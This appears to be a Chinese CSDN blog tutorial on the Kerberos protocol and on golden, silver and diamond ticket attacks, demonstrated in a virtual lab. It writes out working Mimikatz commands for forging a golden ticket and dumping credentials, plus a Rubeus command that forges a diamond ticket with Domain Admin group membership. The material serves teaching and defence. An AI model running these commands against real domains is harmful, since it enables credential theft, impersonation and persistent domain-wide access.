银/金/钻石票据传递攻击

本文详细介绍了Kerberos认证协议的工作原理,包括身份验证、服务许可及黄金、白银和钻石票据攻击方法。还涉及了如何利用Mimikatz工具伪造票据以及这些票据之间的区别。
摘要由CSDN通过智能技术生成

前置知识

Kerberos是一种计算机的认证协议,在域中,依旧使用kerberos作为认证手段。他提供了一种单点登录(SSO)的方法,比如打印服务器、邮件服务器和文件服务器。这些服务器都有认证的需求,很自然的,不可能让每个服务器自己实现一套认证系统,而是提供一个中心认证服务器(AS-Authentication Server)供这些服务器使用,这样任何客户端就只需要维护一个密码就能登录所有服务器。

角色:

客户端(Client)、身份认证服务(AS)、票据授予服务(TGS)、普通服务器(Server)

金银票据攻击

黄金票据、白银票据攻击是基于kerberos认证协议的攻击方式,常用来做后渗透域控权限维持。由于用户正常访问资源是也会请求服务票证,因此黄金、白银票据攻击具备很高的隐蔽性。前提是攻击者已经获得了域管理员或其他高权限账户的访问权,他们可以利用这些权限来访问krbtgt账户的密码哈希值或者(NTLM的hash)。

在kerberos认证中,主要解决两个问题

第一个问题:如何证明你本人是XXX用户的问题。(身份问题,黄金票据所在的问题,AS负责)

第二个问题:提供服务的服务器如何知道你有权限访问它提供的服务。当一个Client去访问Server服务器上的服务时,Server如何判断Client是否有权限来访问自己主机上的服务。(白银票据所在的问题,TGS负责)

Kerberos协议认证流程

Kerberos协议的基本流程是Client先通过AS(身份认证服务)进行身份认证,认证通过后AS会给Client一个TGT(票据授权票),Client将获取到的TGT发送到TGS(票据授予服务)进行身份验证,验证通过后TGS会给Client一个ST(服务票据),Client通过这个ST去访问指定Server上的服务。

伪造黄金票据

在kerberos认证中,Client通过AS认证后,AS会给Client一个TGT,而TGT是通过域控服务器上krbtgt账户的Hash进行加密的,所以只有得到krbtgt的Hash,就可以伪造TGT来进入下一步Client与TGS的交互。而在有了黄金票据后,就跳过AS验证,不用验证账户和密码,所以也不担心域管来修改密码。意思就是,当攻击者能够获得krbtgt的Hash后,攻击者就可以伪造一张票据授权票,去伪造成域内的任意用户访问域内kerberos认证的所有服务。

下面是黄金票据演示(虚拟机实验环境演示,切勿带入实战):

环境:

域控windows server 2012 ip:192.168.4.136

域内主机 win7 (伪造方)ip:192.168.4.138

域 feng.com

下面是域控上操作

权限维持krbtgt权限

以管理员运行mimikatz

下面是win7操作

正常运行mimikatz

kerberos::golden

/user:administrator

/domain:feng.com

/sid:S-1-5-21-2149019885-2061172686-904760113 /krbtgt:d0bea82cce69a2090f7309c418df2df2

/ptt

dir \\WIN-T09MBKM9HIT.feng.com\c$

拿到票据能读c盘,然后用psexec直接连

pass the ticket(PTT)

当攻击者成功获取到一个有效的Kerberos票据后,他们可以使用Mimikatz的PTT功能来将这个票据放入到他们当前会话的票据缓存中。这样,攻击者就可以使用这个票据来进行身份验证,就像他们是票据的合法所有者一样。这使得攻击者能够在不需要知道用户明文密码的情况下,访问那些需要身份验证的资源和服务。

伪造白银票据

黄金票据攻击是伪造TGT,白银票据攻击是伪造ST,在kerberos认证协议的第三步,Client带着ST向Server上的某个服务进行请求,Server接收Client的请求,验证通过后允许Client使用Server上的指定服务。所以只要有了服务器管理员账户的Hash,就能跳过向TGS请求ST的过程,可以直接伪造ST使用Server上的服务。

利⽤mimikatz抓取win2012的NTLM哈希以及域的SID

privilege::debug

sekurlsa::logonpasswords

黄金票据和白银票据的区别

1.访问权限不同

黄金票据:伪造票据授权票(TGT),可以获取任何kerberos服务权限。(伪造TGT)

白银票据:伪造服务票据,只能访问指定的服务。(伪造ST)

2.加密方式不同

黄金票据:由krbtgt的NTLM Hash加密。

白银票据:由服务账号(通胀为计算机账户)的NTLM Hash加密。

3.认证流程不同

黄金票据:利用过程需要访问域控。

白银票据:不需要访问域控。

钻石票据(diamondticket)

原理

黄金票据和钻石票据都需要Krbgtg密钥。黄金票据攻击利用了从头开始伪造TGT,而钻石票据攻击利用了对域控制器请求的真实TGT进行解密和重新加密的能力。

准备

1、域krbtgt的hash

2、当前域用户的账号密码

3、域名

4、域控的名称

假设已经获得了krbtgt

krbtgt: 5d441cb67b5b173667668c2c6f658a23d58320922290f7b05af44458debdeb37

使用域用户用户名密码创建一个钻石TGT

Rubeus.exediamond/krbkey:5d441cb67b5b173667668c2c6f658a23d58320922290f7b05af44458debdeb37/user:win7 /password:admin@7 /enctype:aes /domain:nami.com/dc:WIN-A7DM9L6CVHH.nami.com /ticketuser:thor /ticketuserid:1104/groups:512

  • 23
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Pluto-2003

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值